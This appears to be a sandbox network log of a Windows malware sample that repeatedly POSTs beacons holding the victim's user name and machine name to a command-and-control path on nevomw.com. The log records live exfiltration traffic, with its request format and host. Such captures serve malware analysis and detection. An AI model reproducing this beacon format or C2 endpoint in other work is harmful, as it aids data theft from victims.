Dec 2, 2020 11:53:45.593251944 CET	1500	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:45.675241947 CET	1500	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.6	49879	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:45.971009970 CET	1501	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:46.022999048 CET	1501	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:46.096854925 CET	1502	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.6	49880	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:46.394583941 CET	1502	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:46.447155952 CET	1503	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:46.522598028 CET	1503	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.6	49881	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:46.812716961 CET	1504	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:46.866413116 CET	1504	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:46.941849947 CET	1504	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.6	49882	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:47.221801043 CET	1505	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:47.275233030 CET	1506	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:47.351135015 CET	1506	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.6	49883	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:47.662367105 CET	1507	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:47.715826035 CET	1507	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:47.791692972 CET	1507	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.6	49884	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:48.086473942 CET	1508	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:48.138742924 CET	1509	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:48.211004972 CET	1509	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.6	49727	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:48.881874084 CET	90	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:48.933732033 CET	91	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:49.007215023 CET	91	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.6	49885	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:48.497369051 CET	1510	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:48.552340984 CET	1510	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:48.626811028 CET	1510	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.6	49886	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:48.930011034 CET	1511	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:48.983072996 CET	1511	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:49.073543072 CET	1512	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.6	49887	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:49.346885920 CET	1513	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:49.399409056 CET	1513	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:49.473378897 CET	1513	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.6	49888	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:49.720684052 CET	1514	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:49.773900032 CET	1514	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:49.851969004 CET	1515	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.6	49889	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:50.131951094 CET	1516	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:50.186764002 CET	1516	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:50.264707088 CET	1516	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.6	49890	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:50.537655115 CET	1517	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:50.591460943 CET	1517	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:50.667494059 CET	1518	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.6	49891	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:50.981117964 CET	1519	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:51.033487082 CET	1519	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:51.109476089 CET	1519	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.6	49892	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:51.500957966 CET	1520	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:51.554539919 CET	1520	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:51.629139900 CET	1521	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.6	49894	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:51.875500917 CET	1521	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:51.928212881 CET	1522	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:52.001681089 CET	1522	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.6	49895	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:52.299953938 CET	1523	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:52.352369070 CET	1523	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:52.427256107 CET	1524	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.6	49728	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:49.288846016 CET	92	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:49.344322920 CET	92	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:49.418236971 CET	92	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.6	49896	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:52.669431925 CET	1524	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:52.721806049 CET	1525	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:52.793745995 CET	1525	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.6	49898	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:53.093415022 CET	1526	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:53.146281958 CET	1526	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
